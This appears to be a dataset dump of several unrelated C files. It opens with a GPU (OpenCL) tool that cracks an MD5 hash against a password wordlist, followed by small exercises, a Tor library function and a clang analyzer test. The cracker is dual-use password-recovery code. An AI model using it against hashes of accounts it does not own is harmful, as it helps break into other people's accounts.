exit(1);
}
source_str = (char*)malloc(MAX_SOURCE_SIZE);
source_size = fread(source_str, 1, MAX_SOURCE_SIZE, fp);
fclose(fp);
ret = clGetPlatformIDs(0, NULL, &ret_num_platforms);
platforms = (cl_platform_id*)malloc(sizeof(cl_platform_id)*ret_num_platforms);
clGetPlatformIDs(ret_num_platforms, platforms, &ret_num_platforms);
char re[1024];
/* Get Platform and Device Info */
ret = clGetDeviceIDs(platforms[0], CL_DEVICE_TYPE_ALL, 0, NULL, &ret_num_devices);
devices = (cl_device_id*)malloc(sizeof(cl_device_id)*ret_num_devices);
clGetDeviceIDs(platforms[0], CL_DEVICE_TYPE_ALL, ret_num_devices, devices, &ret_num_devices);
char dvName[1024];
int i;
for(i = 0; i<3; i++){
clGetDeviceInfo(devices[i], CL_DEVICE_NAME, 1024, dvName, NULL);
printf("[%d] Device name: ", i);
white();
printf("%s", dvName);
reset();
printf("\n");
}
int dvNumber;
printf("\n[*] Choose device from above: ");
scanf("%d", &dvNumber);
if(dvNumber == -1){
exit(2);
}
device_id = devices[dvNumber];
}
int startGPU(int totalSize, int wordList[], int found[], int md5IntBytes[])
{
context = clCreateContext(NULL, 1, &device_id, NULL, NULL, &ret);
cl_event timing_event;
cl_ulong time_start, time_end, read_time;
/* Create Command Queue */
command_queue = clCreateCommandQueue(context, device_id, CL_QUEUE_PROFILING_ENABLE, &ret);
cl_mem pwdmemObj = NULL;
cl_mem foundObj = NULL;
cl_mem foundBool = NULL;
cl_mem md5IntObj = NULL;
int pwdSize = totalSize;
int foundSize = 16;
int md5intSize = 17;
pwdmemObj = clCreateBuffer(context, CL_MEM_READ_WRITE, pwdSize * sizeof(int), NULL, &ret);
foundObj = clCreateBuffer(context, CL_MEM_READ_WRITE, foundSize * sizeof(int), NULL, &ret);
foundBool = clCreateBuffer(context, CL_MEM_READ_WRITE, sizeof(int), NULL, &ret);
md5IntObj = clCreateBuffer(context, CL_MEM_READ_WRITE, md5intSize* sizeof(int), NULL, &ret);
ret = clEnqueueWriteBuffer(command_queue, pwdmemObj, CL_TRUE, 0, pwdSize *sizeof(int),wordList, 0, NULL, NULL);
ret = clEnqueueWriteBuffer(command_queue, md5IntObj, CL_TRUE, 0, md5intSize *sizeof(int),md5IntBytes, 0, NULL, NULL);
/* Create Kernel Program from the source */
program = clCreateProgramWithSource(context, 1, (const char **)&source_str,
(const size_t *)&source_size, &ret);
/* Build Kernel Program */
ret = clBuildProgram(program, 1, &device_id, NULL, NULL, NULL);
kernel = clCreateKernel(program, "findMD5", &ret);
ret = clSetKernelArg(kernel, 0, sizeof(cl_mem), (void*)&pwdmemObj);
//ret = clSetKernelArg(kernel, 1, sizeof(cl_mem), (void*)&outObj);
ret = clSetKernelArg(kernel, 1, sizeof(cl_mem), (void*)&foundObj);
ret = clSetKernelArg(kernel, 2, sizeof(cl_mem), (void*)&foundBool);
ret = clSetKernelArg(kernel, 3, sizeof(cl_mem), (void*)&md5IntObj);
size_t global_item_size = pwdSize;
size_t local_item_size = 17;
ret = clEnqueueNDRangeKernel(command_queue, kernel, 1, NULL,
&global_item_size, &local_item_size, 0, NULL, NULL);
/* Execute OpenCL Kernel */
/* Copy results from the memory buffer */
int *isFound = malloc(sizeof(int));
ret = clEnqueueReadBuffer(command_queue, foundObj, CL_TRUE, 0, foundSize * sizeof(int), found, 0, NULL, &timing_event);
ret = clEnqueueReadBuffer(command_queue, foundBool, CL_TRUE, 0, sizeof(int), isFound, 0, NULL, &timing_event);
clGetEventProfilingInfo(timing_event, CL_PROFILING_COMMAND_START, sizeof(time_start), &time_start, NULL);
clGetEventProfilingInfo(timing_event, CL_PROFILING_COMMAND_END, sizeof(time_end), &time_end, NULL);
read_time = time_end - time_start;
ret = clFlush(command_queue);
ret = clFinish(command_queue);
ret = clReleaseKernel(kernel);
ret = clReleaseProgram(program);
ret = clReleaseMemObject(foundObj);
ret = clReleaseMemObject(foundBool);
ret = clReleaseMemObject(pwdmemObj);
ret = clReleaseMemObject(md5IntObj);
ret = clReleaseCommandQueue(command_queue);
ret = clReleaseContext(context);
if(isFound[0] == 1) return 0;
else return 1;
}
typedef struct {
char *plainPwd;
int *md5Pwd;
} pwdData;
int main(int argc, char **argv)
{
if(argc < 3) {
red();
printf("[!] Invalid arguments\n");
printf("[*] Syntax: ./program pwdlist.txt f3fab3b8301dfa7dcfbc68a772f1b863\n");
printf("\tNote: f3fab3b8301dfa7dcfbc68a772f1b863 is the hash.\n");
reset();
exit(2);
}
FILE *fp;
fp = fopen(argv[1], "r");
if(!fp){
printf("Error opening file\n");
exit(1);
}
clock_t t;
t = clock();
char chunk[128];
int md5Chunk[256];
int linect = 0;
int totalSize = 0;
int avgSize = 0;
int maxWordSize = 0;
printf("\n\n[*] Started process on file: ");
yellow();
printf("%s\n",argv[1]);
reset();
char* md5Hash = argv[2];
printf("[*] Hash: ");
yellow();
printf("%s\n", md5Hash);
reset();
char *pos = md5Hash;
unsigned char md5Bytes[16];
int md5IntBytes[17];
for(size_t count = 0; count<16; count++){
sscanf(pos, "%2hhx", &md5Bytes[count]);
md5IntBytes[count] = md5Bytes[count];
pos += 2;
}
md5IntBytes[16] = 0;
while(fgets(chunk, sizeof(chunk), fp) != NULL ){
if(strlen(chunk) >0){
int wSize = strlen(chunk);
totalSize += wSize;
linect++;
}
}
printf("[*] Total passwords in file: ");
yellow();
printf("%d\n", linect);
reset();
pwdData* pwArr_Data = malloc(linect * sizeof(pwdData) +1);
int i = 0;
rewind(fp);
int processed = 0;
int *md5wordList = malloc((linect *17) * sizeof(int) );
GPU();
int chunkCount = 0;
uint8_t *result;
int md5Index =0;
while(fgets(chunk, sizeof(chunk), fp) != NULL ){
if(strlen(chunk) >0){
chunk[strcspn(chunk, "\n")] = 0;
result = md5String(chunk);
pwArr_Data[processed].plainPwd = (char*)malloc(strlen(chunk) * sizeof(char) +2);
pwArr_Data[processed].md5Pwd = (int*)malloc(16 * sizeof(int) +2);
char* pwPlainPwd = pwArr_Data[processed].plainPwd;
int* pwmd5Pwd = pwArr_Data[processed].md5Pwd;
strcpy(pwPlainPwd, chunk);
processed++;
for (i = 0; i<16; i++){
pwmd5Pwd[i] = result[i];
md5wordList[md5Index] = result[i];
md5Index++;
}
md5wordList[md5Index] = 0;
md5Index++;
}
}
int sizeofPwd = md5Index;
int found[16];
int res = startGPU(sizeofPwd, md5wordList,found, md5IntBytes);
if(res == 0) {
for(i=0; i<processed; i++){
if(memcmp(pwArr_Data[i].md5Pwd, found, 16)==0) {
printf("[*] Password found: ");
cyan();
printf("%s\n", pwArr_Data[i].plainPwd);
reset();
}
}
}
else {
printf("[*] Not found\n");
}
free(result);
t = clock() -t;
printf("\n[*] Elapsed time: %f\n", ((double)t)/CLOCKS_PER_SEC );
for(i=0; i<processed; i++){
free(pwArr_Data[i].plainPwd);
free(pwArr_Data[i].md5Pwd);
}
free(md5wordList);
//free(pwArr_Data);
free(source_str);
free(devices);
free(platforms);
fclose(fp);
return 0;
}
|
the_stack_data/281235.c | //clang -Xclang -ast-dump -fsyntax-only main.cpp
//#include <stdio.h>
long long x = 22; // 10110
long long y = 7, y1 = 7, y2 = 7; // 00111
int main() {
y &= x; // 6
y;
// printf("%d\n", y);
y1 |= x; // 23
y1;
// printf("%d\n", y1);
y2 ^= x; // 17
y2;
// printf("%d\n", y2);
}
|
the_stack_data/7951418.c | #include<stdio.h>
void main()
{
int a[50],n,count=0,flag;
scanf("%d",&n);
for(int i=0;i<n;i++)
scanf("%d",&a[i]);
for(int i=0;i<n;i++)
{
flag=0;
for(int j=i+1;j<n;j++)
{
if(a[i]==a[j])
{
for(int k=j;k<n;k++)
{
a[k]=a[k+1];
}
flag=1;
}
}
if(flag==1)
count++;
}
for(int i=0;i<=n-count;i++)
printf("%d\n",a[i]);
} |
the_stack_data/368706.c | /*
https://www.codechef.com/COOK84/problems/CHNGOR
https://www.codechef.com/viewsolution/14648921
*/
#include<stdio.h>
int main()
{
unsigned long long int a[100000],t,n,sum,i;
scanf("%llu",&t);
while(t--)
{
sum=0;
scanf("%llu",&n);
for(i=0;i<n;i++)
{
scanf("%llu",&a[i]);
sum=sum | a[i];
}
printf("%llu\n",sum);
}
return 0;
}
|
the_stack_data/128554.c | /* Copyright (c) 2003, Roger Dingledine
* Copyright (c) 2004-2006, Roger Dingledine, Nick Mathewson.
* Copyright (c) 2007-2020, The Tor Project, Inc. */
/* See LICENSE for licensing information */
/**
* \file winlib.c
*
* \brief Find and load windows system libraries.
*
* We use this function to dynamically load code at runtime that might not be
* available on all versions of Windows that we support.
**/
#ifdef _WIN32
#include "lib/fs/winlib.h"
HANDLE
load_windows_system_library(const TCHAR *library_name)
{
TCHAR path[MAX_PATH];
unsigned n;
n = GetSystemDirectory(path, MAX_PATH);
if (n == 0 || n + _tcslen(library_name) + 2 >= MAX_PATH)
return 0;
_tcscat(path, TEXT("\\"));
_tcscat(path, library_name);
return LoadLibrary(path);
}
#endif /* defined(_WIN32) */
|
the_stack_data/234518683.c | // RUN: %clang_cc1 -analyze -analyzer-checker=core -analyzer-output=text -analyzer-config suppress-null-return-paths=false -verify %s
// RUN: %clang_cc1 -analyze -analyzer-checker=core -analyzer-output=plist-multi-file -analyzer-config suppress-null-return-paths=false -analyzer-config path-diagnostics-alternate=false %s -o %t.plist
// RUN: FileCheck --input-file=%t.plist %s
void zero(int **p) {
*p = 0;
// expected-note@-1 {{Null pointer value stored to 'a'}}
}
void testZero(int *a) {
zero(&a);
// expected-note@-1 {{Calling 'zero'}}
// expected-note@-2 {{Returning from 'zero'}}
*a = 1; // expected-warning{{Dereference of null pointer}}
// expected-note@-1 {{Dereference of null pointer (loaded from variable 'a')}}
}
void testCheck(int *a) {
if (a) {
// expected-note@-1 + {{Assuming 'a' is null}}
// expected-note@-2 + {{Taking false branch}}
;
}
*a = 1; // expected-warning{{Dereference of null pointer}}
// expected-note@-1 {{Dereference of null pointer (loaded from variable 'a')}}
}
int *getPointer();
void testInitCheck() {
int *a = getPointer();
// expected-note@-1 {{'a' initialized here}}
if (a) {
// expected-note@-1 + {{Assuming 'a' is null}}
// expected-note@-2 + {{Taking false branch}}
;
}
*a = 1; // expected-warning{{Dereference of null pointer}}
// expected-note@-1 {{Dereference of null pointer (loaded from variable 'a')}}
}
void testStoreCheck(int *a) {
a = getPointer();
// expected-note@-1 {{Value assigned to 'a'}}
if (a) {
// expected-note@-1 + {{Assuming 'a' is null}}
// expected-note@-2 + {{Taking false branch}}
;
}
*a = 1; // expected-warning{{Dereference of null pointer}}
// expected-note@-1 {{Dereference of null pointer (loaded from variable 'a')}}
}
int *getZero() {
int *p = 0;
// expected-note@-1 + {{'p' initialized to a null pointer value}}
// ^ This note checks that we add a second visitor for the return value.
return p;
// expected-note@-1 + {{Returning null pointer (loaded from 'p')}}
}
void testReturnZero() {
*getZero() = 1; // expected-warning{{Dereference of null pointer}}
// expected-note@-1 {{Calling 'getZero'}}
// expected-note@-2 {{Returning from 'getZero'}}
// expected-note@-3 {{Dereference of null pointer}}
}
int testReturnZero2() {
return *getZero(); // expected-warning{{Dereference of null pointer}}
// expected-note@-1 {{Calling 'getZero'}}
// expected-note@-2 {{Returning from 'getZero'}}
// expected-note@-3 {{Dereference of null pointer}}
}
void testInitZero() {
int *a = getZero();
// expected-note@-1 {{Calling 'getZero'}}
// expected-note@-2 {{Returning from 'getZero'}}
// expected-note@-3 {{'a' initialized to a null pointer value}}
*a = 1; // expected-warning{{Dereference of null pointer}}
// expected-note@-1 {{Dereference of null pointer (loaded from variable 'a')}}
}
void testStoreZero(int *a) {
a = getZero();
// expected-note@-1 {{Calling 'getZero'}}
// expected-note@-2 {{Returning from 'getZero'}}
// expected-note@-3 {{Null pointer value stored to 'a'}}
*a = 1; // expected-warning{{Dereference of null pointer}}
// expected-note@-1 {{Dereference of null pointer (loaded from variable 'a')}}
}
void usePointer(int *p) {
*p = 1; // expected-warning{{Dereference of null pointer}}
// expected-note@-1 {{Dereference of null pointer}}
}
void testUseOfNullPointer() {
// Test the case where an argument expression is itself a call.
usePointer(getZero());
// expected-note@-1 {{Calling 'getZero'}}
// expected-note@-2 {{Returning from 'getZero'}}
// expected-note@-3 {{Passing null pointer value via 1st parameter 'p'}}
// expected-note@-4 {{Calling 'usePointer'}}
}
struct X { char *p; };
void setFieldToNull(struct X *x) {
x->p = 0; // expected-note {{Null pointer value stored to field 'p'}}
}
int testSetFieldToNull(struct X *x) {
setFieldToNull(x); // expected-note {{Calling 'setFieldToNull'}}
// expected-note@-1{{Returning from 'setFieldToNull'}}
return *x->p;
// expected-warning@-1 {{Dereference of null pointer (loaded from field 'p')}}
// expected-note@-2 {{Dereference of null pointer (loaded from field 'p')}}
}
struct Outer {
struct Inner {
int *p;
} inner;
};
void test(struct Outer *wrapperPtr) {
wrapperPtr->inner.p = 0; // expected-note {{Null pointer value stored to field 'p'}}
*wrapperPtr->inner.p = 1; //expected-warning {{Dereference of null pointer (loaded from field 'p')}}
// expected-note@-1 {{Dereference of null pointer (loaded from field 'p')}}
}
void test4(int **p) {
if (*p) return; // expected-note {{Taking false branch}}
// expected-note@-1 {{Assuming pointer value is null}}
**p = 1; // expected-warning {{Dereference of null pointer}}
// expected-note@-1 {{Dereference of null pointer}}
}
// CHECK: <key>diagnostics</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>path</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>11</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>11</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>11</integer>
// CHECK-NEXT: <key>col</key><integer>10</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Calling 'zero'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Calling 'zero'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>5</integer>
// CHECK-NEXT: <key>col</key><integer>1</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Entered call from 'testZero'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Entered call from 'testZero'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>5</integer>
// CHECK-NEXT: <key>col</key><integer>1</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>5</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>6</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>6</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>6</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>6</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>6</integer>
// CHECK-NEXT: <key>col</key><integer>8</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Null pointer value stored to 'a'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Null pointer value stored to 'a'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>11</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>11</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>11</integer>
// CHECK-NEXT: <key>col</key><integer>10</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Returning from 'zero'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Returning from 'zero'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>11</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>11</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>14</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>14</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>14</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>14</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>14</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Dereference of null pointer (loaded from variable 'a')</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Dereference of null pointer (loaded from variable 'a')</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>description</key><string>Dereference of null pointer (loaded from variable 'a')</string>
// CHECK-NEXT: <key>category</key><string>Logic error</string>
// CHECK-NEXT: <key>type</key><string>Dereference of null pointer</string>
// CHECK-NEXT: <key>check_name</key><string>core.NullDereference</string>
// CHECK-NEXT: <!-- This hash is experimental and going to change! -->
// CHECK-NEXT: <key>issue_hash_content_of_line_in_context</key><string>52499a849b132453be19ec9167d8c021</string>
// CHECK-NEXT: <key>issue_context_kind</key><string>function</string>
// CHECK-NEXT: <key>issue_context</key><string>testZero</string>
// CHECK-NEXT: <key>issue_hash_function_offset</key><string>4</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>14</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>path</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>19</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>19</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>19</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>19</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>19</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>19</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>19</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Assuming 'a' is null</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Assuming 'a' is null</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>19</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>19</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>24</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>24</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>24</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>24</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>24</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>24</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>24</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>24</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>24</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Dereference of null pointer (loaded from variable 'a')</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Dereference of null pointer (loaded from variable 'a')</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>description</key><string>Dereference of null pointer (loaded from variable 'a')</string>
// CHECK-NEXT: <key>category</key><string>Logic error</string>
// CHECK-NEXT: <key>type</key><string>Dereference of null pointer</string>
// CHECK-NEXT: <key>check_name</key><string>core.NullDereference</string>
